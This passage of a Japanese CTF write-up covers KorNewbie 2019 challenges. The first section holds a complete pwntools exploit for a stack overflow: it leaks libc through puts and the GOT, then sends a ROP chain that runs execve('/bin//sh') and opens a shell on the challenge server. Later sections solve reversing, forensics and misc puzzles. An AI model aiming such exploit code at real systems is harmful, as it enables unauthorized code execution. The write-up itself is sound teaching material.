0020| 0xffffd604 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377\364\336\377\377"...)
0024| 0xffffd608 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377\364\336\377\377\374\336\377\377"...)
0028| 0xffffd60c ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377\364\336\377\377\374\336\377\377\a\337\377\377"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41413741 in ?? ()
gdb-peda$ LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
Undefined command: "LA".  Try "help".
gdb-peda$ patto 0x41413741
1094793025 found at offset: 104
gdb-peda$ 

104文字目でオーバーフローすることが分かりました。

次に、libcのベースアドレスを求めます。 一度バッファオーバーフローを起こし、puts関数を利用して、putsのGOTのアドレスを表示させるようにします。 リークさせたアドレスから、libcにあるputs関数のオフセットを引けば、libcのベースアドレスを求めることができます。 また、リーク後に再度main関数を呼び出すことで、再度入力が可能な状態にすることができます。 以下のようなスクリプトを作成して、libcのベースアドレスを求めるようにしました。

from pwn import *

ARCH = "i386"
FILE = "./drop_the_beat_easy"
LIBC = "./libc.so.6"
HOST = "prob.vulnerable.kr"
PORT = 20002

def exploit(con, elf, libc, rop):
    puts_got = elf.got[b"puts"]
    rop.call("puts", [puts_got])
    rop.call("main")
    log.info(rop.dump())

    offset = 104
    payload = b"A" * offset
    payload += rop.chain()
    log.info("payload: {}".format(payload))

    con.sendlineafter("2) No Beat For You..!", b"1")
    con.sendlineafter("Give Me a Beat!!", payload)
    con.readuntil("Wow... That's AWESOME!\n")
    puts_addr = int.from_bytes(con.read(4), "little") 
    log.info("puts_addr: {}".format(hex(puts_addr)))

    puts_offset = libc.symbols[b"puts"]
    libc_base = puts_addr - puts_offset
    log.info("lobc_base: {}".format(hex(libc_base)))

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、libcのベースアドレス(0xf755c000)が取得できます。

$ python exploit2.py REMOTE
[+] Opening connection to prob.vulnerable.kr on port 20002: Done
[*] '/root/workdir/drop/drop_the_beat_easy'
[+] Opening connection to prob.vulnerable.kr on port 20002: Done
[*] '/root/workdir/drop/drop_the_beat_easy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/root/workdir/drop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './drop_the_beat_easy'
[*] 0x0000:        0x80483e0 puts(134520848)
    0x0004:        0x80483b9 <adjust: pop ebx; ret>
    0x0008:        0x804a010 b'got.puts'
    0x000c:        0x804853b main()
    0x0010:          b'eaaa' <pad>
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0\x83\x04\x08\xb9\x83\x04\x08\x10\xa0\x04\x08;\x85\x04\x08eaaa'
[*] puts_addr: 0xf75bb140
[*] lobc_base: 0xf755c000
[*] Switching to interactive mode
�@EW� dP  888888ba   .88888.   888888ba       dP   dP                   dP                           dP   
      dP  888888ba   .88888.   888888ba       dP   dP                   dP                           dP   
      88  88    `8b d8'   `8b  88    `8b      88   88                   88                           88   
.d888b88 a88aaaa8P' 88     88 a88aaaa8P'    d8888P 88d888b. .d8888b.    88d888b. .d8888b. .d8888b. d8888P 
88'  `88  88   `8b. 88     88  88             88   88'  `88 88ooood8    88'  `88 88ooood8 88'  `88   88   
88.  .88  88     88 Y8.   .8P  88             88   88    88 88.  ...    88.  .88 88.  ... 88.  .88   88   
`88888P8  dP     dP  `8888P'   dP             dP   dP    dP `88888P'    88Y8888' `88888P' `88888P8   dP   
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

dROP The beat(easy version)

1) Give Him a Beat!
2) No Beat For You..!
$

最後に、シェルを起動するためのROPチェインを作成します。

$ ROPgadget --binary ./libc.so.6 --ropchain

# 省略

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

        [+] Gadget found: 0x7c63c mov dword ptr [esi], ebx ; pop ebx ; pop esi ; ret
        [+] Gadget found: 0x17828 pop esi ; ret
        [+] Gadget found: 0x18395 pop ebx ; ret
        [-] Can't find the 'xor ebx, ebx' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x11d0ab mov dword ptr [edx], esi ; pop ebx ; pop esi ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret
        [+] Gadget found: 0x17828 pop esi ; ret
        [-] Can't find the 'xor esi, esi' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x3ccd8 mov dword ptr [edx], ecx ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret
        [+] Gadget found: 0xb4047 pop ecx ; ret
        [-] Can't find the 'xor ecx, ecx' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x130394 mov dword ptr [edx], ecx ; pop ebx ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret
        [+] Gadget found: 0xb4047 pop ecx ; ret
        [-] Can't find the 'xor ecx, ecx' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x6b34b mov dword ptr [edx], eax ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret
        [+] Gadget found: 0x23f97 pop eax ; ret
        [+] Gadget found: 0x2c5fc xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

        [+] Gadget found: 0x2c5fc xor eax, eax ; ret
        [+] Gadget found: 0x7eec inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

        [+] Gadget found: 0x18395 pop ebx ; ret
        [+] Gadget found: 0xb4047 pop ecx ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret

- Step 4 -- Syscall gadget

        [+] Gadget found: 0x2c87 int 0x80

- Step 5 -- Build the ROP chain

        #!/usr/bin/env python2
        # execve generated by ROPgadget

        from struct import pack

        # Padding goes here
        p = ''

        p += pack('<I', 0x00001aa6) # pop edx ; ret
        p += pack('<I', 0x001b0040) # @ .data
        p += pack('<I', 0x00023f97) # pop eax ; ret
        p += '/bin'
        p += pack('<I', 0x0006b34b) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x00001aa6) # pop edx ; ret
        p += pack('<I', 0x001b0044) # @ .data + 4
        p += pack('<I', 0x00023f97) # pop eax ; ret
        p += '//sh'
        p += pack('<I', 0x0006b34b) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x00001aa6) # pop edx ; ret
        p += pack('<I', 0x001b0048) # @ .data + 8
        p += pack('<I', 0x0002c5fc) # xor eax, eax ; ret
        p += pack('<I', 0x0006b34b) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x00018395) # pop ebx ; ret
        p += pack('<I', 0x001b0040) # @ .data
        p += pack('<I', 0x000b4047) # pop ecx ; ret
        p += pack('<I', 0x001b0048) # @ .data + 8
        p += pack('<I', 0x00001aa6) # pop edx ; ret
        p += pack('<I', 0x001b0048) # @ .data + 8
        p += pack('<I', 0x0002c5fc) # xor eax, eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00002c87) # int 0x80

ROPチェインが作成できました。後は、少し調整してスクリプトに落とし込むだけです。 最終的なスクリプトは、以下のようになります。

from pwn import *

ARCH = "i386"
FILE = "./drop_the_beat_easy"
LIBC = "./libc.so.6"
HOST = "prob.vulnerable.kr"
PORT = 20002

def leak_libc_base(con, elf, libc, rop):
    puts_got = elf.got[b"puts"]
    rop.call("puts", [puts_got])
    rop.call("main")
    log.info(rop.dump())

    offset = 104
    payload = b"A" * offset
    payload += rop.chain()
    log.info("payload: {}".format(payload))

    con.sendlineafter("2) No Beat For You..!", b"1")
    con.sendlineafter("Give Me a Beat!!", payload)
    con.readuntil("Wow... That's AWESOME!\n")
    puts_addr = int.from_bytes(con.read(4), "little") 
    log.info("puts_addr: {}".format(hex(puts_addr)))

    puts_offset = libc.symbols[b"puts"]
    libc_base = puts_addr - puts_offset
    log.info("lobc_base: {}".format(hex(libc_base)))
    return libc_base

def exploit(con, elf, libc, rop):
    libc_base = leak_libc_base(con, elf, libc, rop)

    offset = 104
    payload = b"A" * offset
    payload += pack(libc_base + 0x00001aa6) # pop edx ; ret
    payload += pack(libc_base + 0x001b0040) # @ .data
    payload += pack(libc_base + 0x00023f97) # pop eax ; ret
    payload += b'/bin'
    payload += pack(libc_base + 0x0006b34b) # mov dword ptr [edx], eax ; ret
    payload += pack(libc_base + 0x00001aa6) # pop edx ; ret
    payload += pack(libc_base + 0x001b0044) # @ .data + 4
    payload += pack(libc_base + 0x00023f97) # pop eax ; ret
    payload += b'//sh'
    payload += pack(libc_base + 0x0006b34b) # mov dword ptr [edx], eax ; ret
    payload += pack(libc_base + 0x00001aa6) # pop edx ; ret
    payload += pack(libc_base + 0x001b0048) # @ .data + 8
    payload += pack(libc_base + 0x0002c5fc) # xor eax, eax ; ret
    payload += pack(libc_base + 0x0006b34b) # mov dword ptr [edx], eax ; ret
    payload += pack(libc_base + 0x00018395) # pop ebx ; ret
    payload += pack(libc_base + 0x001b0040) # @ .data
    payload += pack(libc_base + 0x000b4047) # pop ecx ; ret
    payload += pack(libc_base + 0x001b0048) # @ .data + 8
    payload += pack(libc_base + 0x00001aa6) # pop edx ; ret
    payload += pack(libc_base + 0x001b0048) # @ .data + 8
    payload += pack(libc_base + 0x0002c5fc) # xor eax, eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00002c87) # int 0x80

    con.sendlineafter("2) No Beat For You..!", b"1")
    con.sendlineafter("Give Me a Beat!!", payload)
    con.readuntil("Wow... That's AWESOME!\n")

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行するとシェルが取れ、フラグを表示させることができました。

$ python exploit.py REMOTE
[+] Opening connection to prob.vulnerable.kr on port 20002: Done
[*] '/root/workdir/drop/drop_the_beat_easy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/root/workdir/drop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './drop_the_beat_easy'
[*] 0x0000:        0x80483e0 puts(134520848)
    0x0004:        0x80483b9 <adjust: pop ebx; ret>
    0x0008:        0x804a010 b'got.puts'
    0x000c:        0x804853b main()
    0x0010:          b'eaaa' <pad>
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0\x83\x04\x08\xb9\x83\x04\x08\x10\xa0\x04\x08;\x85\x04\x08eaaa'
[*] puts_addr: 0xf7674140
[*] lobc_base: 0xf7615000
[*] Switching to interactive mode
$ id
uid=1000(drop_the_beat) gid=1000(drop_the_beat) groups=1000(drop_the_beat)
$ cat /home/drop_the_beat/flag
KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#}
$

FLAG

KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#}

BABYREV(Reversing)

問題

암호화 프로그램을 가지고 중요한 기밀을 암호화 하였는데 복호화 프로그램을 만들지 못하겠어! 나를 도와 주겠니?

I encrypted my sensitive secrets with an encryption program, but I can't make a decryption program! Can you help me?

Author: 윤재형

添付ファイル

  • babyrev.exe
  • enc.txt

解答例

まずは、fileコマンドを実行してみます。 64bitのPEファイルのようです。

$ file babyrev.exe
babyrev.exe: PE32+ executable (console) x86-64, for MS Windows

実際に実行してみて動作を確かめてみます。 コマンドライン引数にflag.txtを指定すると、同じサイズのenc.txtが出力されました。

PS> .\babyrev.exe
./babyrev (file)
PS> echo -n "KorNewbie{TEST_TEST}" > flag.txt
PS> (Get-ChildItem .\flag.txt).Length
46
PS> .\babyrev.exe .\flag.txt
size =46
enc.txt
PS> type .\enc.txt
久゙v孥ェv$v@vPvv$v8vIv・俿Iv<vIv・俿Ivーvkvワv

次にGhidraで開いてみます。 68~73行目辺りの処理をみてみると、1文字ずつエンコードしているように見えます。

f:id:tsalvia:20191103160257p:plain

1文字ずつエンコードしているので、総当たりでフラグを求められそうです。 以下のようなスクリプトを作成しました。

import subprocess
import string

def main():
    with open("original/enc.txt", "rb") as f:
        orig_enc_txt = f.readline()
    
    size = len(orig_enc_txt)

    flag = ["A"] * size
    for i in range(size):
        for ch in string.printable:
            flag[i] = ch
            with open("flag.txt", "w") as f:
                f.write("".join(flag))
    
            subprocess.run(["babyrev.exe", "flag.txt"], stdout=subprocess.DEVNULL)

            with open("enc.txt", "rb") as f:
                enc_txt = f.readline()
    
            if orig_enc_txt[i] == enc_txt[i]:
                print("".join(flag))
                break

if __name__ == "__main__":
    main()

実行すると、フラグが1文字ずつ出力されていきます。

PS> python3 .\solve.py
kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
koAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbiAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbieAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbie{AAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbie{bAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbie{baAAAAAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8AAAAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8yAAAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_AAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_rAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_reAAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_revAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_rev_AAAAAAAAAAAAAAAAA
korNewbie{ba8y_rev_iAAAAAAAAAAAAAAAA
korNewbie{ba8y_rev_i$AAAAAAAAAAAAAAA
korNewbie{ba8y_rev_i$_AAAAAAAAAAAAAA
korNewbie{ba8y_rev_i$_vAAAAAAAAAAAAA
korNewbie{ba8y_rev_i$_veAAAAAAAAAAAA
korNewbie{ba8y_rev_i$_verAAAAAAAAAAA
korNewbie{ba8y_rev_i$_veryAAAAAAAAAA
korNewbie{ba8y_rev_i$_very_AAAAAAAAA
korNewbie{ba8y_rev_i$_very_VAAAAAAAA
korNewbie{ba8y_rev_i$_very_VeAAAAAAA
korNewbie{ba8y_rev_i$_very_VerAAAAAA
korNewbie{ba8y_rev_i$_very_VeryAAAAA
korNewbie{ba8y_rev_i$_very_Very_AAAA
korNewbie{ba8y_rev_i$_very_Very_eAAA
korNewbie{ba8y_rev_i$_very_Very_eZAA
korNewbie{ba8y_rev_i$_very_Very_eZ!A
korNewbie{ba8y_rev_i$_very_Very_eZ!}

FLAG

korNewbie{ba8y_rev_i$_very_Very_eZ!}

S_@_X(Reversing)

問題

What is sgx?
Author: BabyREV

添付ファイル

  • app
  • enclave.signed.so

解答例

とりあえず、fileコマンドを実行してみました。64bitのPEファイルのようです。

$ file app enclave.signed.so
app:               ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fb10c93f82a3dc7a84fd2713311466b990a4b60a, for GNU/Linux 3.2.0, not stripped
enclave.signed.so: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ec8ed4495507210dac46ccbdee2f5aa57741b4b2, not stripped

Ghidraでも開いてみました。 29~37行目を見てみると、add関数の戻り値を基にSucceedfailを表示する処理が確認できます。

f:id:tsalvia:20191104025128p:plain

次にenclave.signed.soにあるadd関数内を見てみます。 この関数でフラグのチェックをしているようです。

f:id:tsalvia:20191104024853p:plain

if文を丁寧に読んでいくと、フラグを確認することができました。

FLAG

KorNewbie{aMd_i$_bEttEr_thaN_iNtel!}

REC(Forensic)

問題

REC? Kion vi celas?

添付ファイル

  • REC.zip

解答例

REC.zip を展開すると、REC.exeが出てきました。 拡張子がexeなので、とりあえず、fileコマンドを打ってみます。

$ file REC.exe
REC.exe: data

次にバイナリエディタで開いてみました。 This program cannot be run in DOS modeと書かれているので、PEファイルのように見えますが、先頭のMZが見当たりません。

f:id:tsalvia:20191103193742p:plain

適当なPEファイルと見比べながら、PEヘッダを修正していきます。 単純に先頭の2バイトが足りていないだけでした。

f:id:tsalvia:20191103195017p:plain

修正して、ダブルクリックで実行してみるとエラーメッセージ表示されました(コンソールで実行すると何も表示されませんでした)。

f:id:tsalvia:20191103200645p:plain

libgcc_s_dw2-1.dllを用意して、実行するとフラグが表示されました。

PS> .\REC.exe
KorNewbie{Recover_Signature}

FLAG

KorNewbie{Recover_Signature}

Chat(Forensic)

問題

채팅을 통해 기밀정보가 오갔다. 해당 채팅을 사용한 사용자의 이메일을 찾으시오.
Confidential information came and went through chat. Find the email of the user who used the chat.
Flag: KorNewbie{email_address}
https://drive.google.com/open?id=1Gfz5e-rwDSz14MWPfhGBfKHqfAjPGVXX
https://web.jaeuk.xyz/chat/VM.zip
Author: 신재욱(Y311J)

解答例

今回の問題は、メールアドレスを探し出すことが目標のようです。

まず、問題文のリンクにアクセスすると、VM.zipがダウンロードできます。 VM.zipを展開すると、vmdkファイルが格納されていました。

ディスクイメージなので、Autopsyを使ってメールアドレスを探せそうです。 ただし、Autopsyは、vmdkファイルを読み出せないので、まずはraw形式に変換します。

以下のサイトを参考に変換しました。

zarat.hatenablog.com

以下のコマンドで変換できるようです。

PS> qemu-img.exe convert -f vmdk NewbieCTF2019_KakaoTalk.vmdk -O raw NewbieCTF2019_KakaoTalk.raw

Autopsyで開くと、703件のメールアドレスがヒットしていました。

f:id:tsalvia:20191103205007p:plain

地道に一つひとつ確認していると、怪しげなメールアドレス(renek@it-simple.net)を発見しました。 試しにフラグとして入力してみると、正解となりました。

f:id:tsalvia:20191103202054p:plain

FLAG

KorNewbie{renek@it-simple.net}

Discord(Misc)

問題

Come to our Official Discord!!
https://discord.gg/5hAk2WS

flag is in "RULES" Channel

解答例

Discordにアクセスして、#rulesチャンネルを開くと、フラグが書かれていました。

f:id:tsalvia:20191103133239p:plain

FLAG

KorNewbie{W31C0m3_t0_0ffiC14l_D1$C05d}

NC_MIC(Misc)

問題

Hello! I am NC mic!
"well..well.. What is the flag?"
Author: 신재욱(Y311J)
Flag type: KorNewbie{flag}
(Since this CTF was originally planned as a war game, the flag of this problem has 'wargame' written on it.)

nc prob.vulnerable.kr 20000

解答例

netcatで接続すると、フラグが表示されました。

$ nc prob.vulnerable.kr 20000
KorNewbie{W3lC0m3_T0_K0RN3wB13_W4RG4M3!!!!!}

FLAG

KorNewbie{W3lC0m3_T0_K0RN3wB13_W4RG4M3!!!!!}

Catch Me(Misc)

問題

Haha you can't see the string Author : Ez1o

添付ファイル

  • Prob.gif

解答例

以下のgif画像が渡されました。黒丸が色々な座標に高速で移動しているように見えます。

f:id:tsalvia:20191103213313g:plain

ScreenToGifのエディタ機能を使って、gif画像をコマ送りで確認しました。

f:id:tsalvia:20191103213756p:plain

移動座標は、以下のようになっていました。

行番号 列番号
1 11 9
2 4 8
3 11 9
4 9 5
5 10 1
6 5 2
7 11 3
8 4 9
9 10 1
10 9 5
11 5 1
12 12 1
13 5 1

少しエスパー気味ですが、行番号と列番号をつなげて10進数として読み取ることができ、アスキーコードに変換できそうです (例えば、行番号:11、列番号:9の場合、10進数の119として考え、wに変換できます)。

CyberChefで変換すると、以下のようになりました。

f:id:tsalvia:20191103215936p:plain

よって、KorNewbie{w0w_e4q1e_3y3}がフラグとなります。

FLAG

KorNewbie{w0w_e4q1e_3y3}

BiMilCode(Misc)

問題

Good Luck
nc prob.vulnerable.kr 20034
Author : Ez1o

解答例

netcatで接続すると、エンコードされた値が出てきました。 接続のたびに値が変わるようです。 また、3回だけ解答チャンスがあるようです。 間違えてしまった場合は、エンコード結果を表示してくれます。

aaaaaaaaAAAAAAAA を入力してみると、以下のようになりました。

$ nc prob.vulnerable.kr 20034
==================================================
This is BiMilCode
I'll give you a chance to type 3 times.
Good Luck
# if you got it how to solve this problem type 0 .
==================================================
You can encode me? :  4c d1 5d 4a 2e 6b a0 3e 
Input : aaaaaaaa
8a b7 62 75 61 89 85 66 
you have 2 chance left.
Input : AAAAAAAA
6a 97 42 55 41 69 65 46 
you have 1 chance left.
Input : 

aaaaaaaaの場合、8a b7 62 75 61 89 85 66
AAAAAAAAの場合、6a 97 42 55 41 69 65 46 となりました。

それぞれ、同じ値(29 56 1 14 0 28 24 5)だけずれていることが分かります。

差分も接続のたびに代わってしまうので、一度\x00\x00\x00\x00\x00\x00\x00\x00 を送って、差分を求めれば良さそうです。 以下のようなスクリプトを作成しました。

from pwn import *

def main():
    con = remote("prob.vulnerable.kr", 20034)

    con.readuntil("You can encode me? :  ")
    enc = con.readline().decode("utf-8").strip().split(" ")
    log.info("enc: {}".format(enc))

    con.sendlineafter("Input : ", b"\x00" * 8)
    diff = con.readuntil("\n").decode("utf-8").strip().split(" ")
    log.info("diff: {}".format(diff))

    dec = ""
    for e, d in zip(enc, diff):
        dec += chr(int(e, 16) - int(d, 16))

    con.sendlineafter("Input : ", b"0")
    con.sendlineafter("Oh really? come on ! : ", dec)

    con.interactive()

if __name__ == "__main__":
    main()

実行すると、フラグが出力されました。

$ python solve.py 
[+] Opening connection to prob.vulnerable.kr on port 20034: Done
[*] enc: ['90', '70', '5f', '34', '84', 'ca', '79', '48']
[*] diff: ['1b', '1', 'e', '2', '15', '5a', '5', '2']
[*] Switching to interactive mode
You did it!
KorNewbie{Nace_I_believed_it}
[*] Got EOF while reading in interactive

FLAG

KorNewbie{Nace_I_believed_it}

Elecduino(Misc)

問題

과제로 만들어놓은 아두이노 회로도가 잠시 자리를 비운 사이 누군가 망쳐놓았다! 회로도를 복구하고 결과값을 얻어내라. circuits의 My work 가 문제파일이다.
Problem URL : https://www.tinkercad.com/users/dNMUsC3jcEB-?category=circuits&sort=likes&view_mode=default
결과값에 플래그 포멧은 존재하지 않는다.
While the homework Aduino circuit diagram is gone for a while, Someone ruined it! Restore the circuit diagram and get the result. problem file is My work
There is no flag format in the result
Good Luck !
Author : Ez1o

解答例

問題文のリンクにアクセスすると、Arduino UNO、スプレッドシート、LEDなどが色々つながった回路が表示されました。 Tinkercadと呼ばれる回路シミュレータサービスがあるようです。

f:id:tsalvia:20191103224854p:plain

色々ボタンをいじっていると、「コード」ボタンからArduinoソースコードが出てきました。

f:id:tsalvia:20191104015005p:plain

以下、見つかったコードになります。

void setup()
{
  pinMode(13, OUTPUT);
}

void prob1(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob2(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob3(){
  digitalWrite(4, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(4, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob4(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob5(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob6(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob7(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob8(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob9(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob10(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob11(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob12(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob13(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob14(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob15(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob16(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob17(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob18(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob19(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}



void one(){
    prob6();
    prob5();
    prob2();
    prob12();
    prob14();
    prob18();
    prob15();
    prob7();
    prob3();
}

void two(){
    prob8();
    prob13();
    prob15();
    prob5();
    prob10();
    prob16();
    prob2();
    prob1();
    prob3();
}

void three(){
    prob1();
    prob6();
    prob5();
    prob7();
    prob8();
    prob12();
    prob9();
    prob2();
    prob3();
}

void four(){
    prob14();
    prob1();
    prob9();
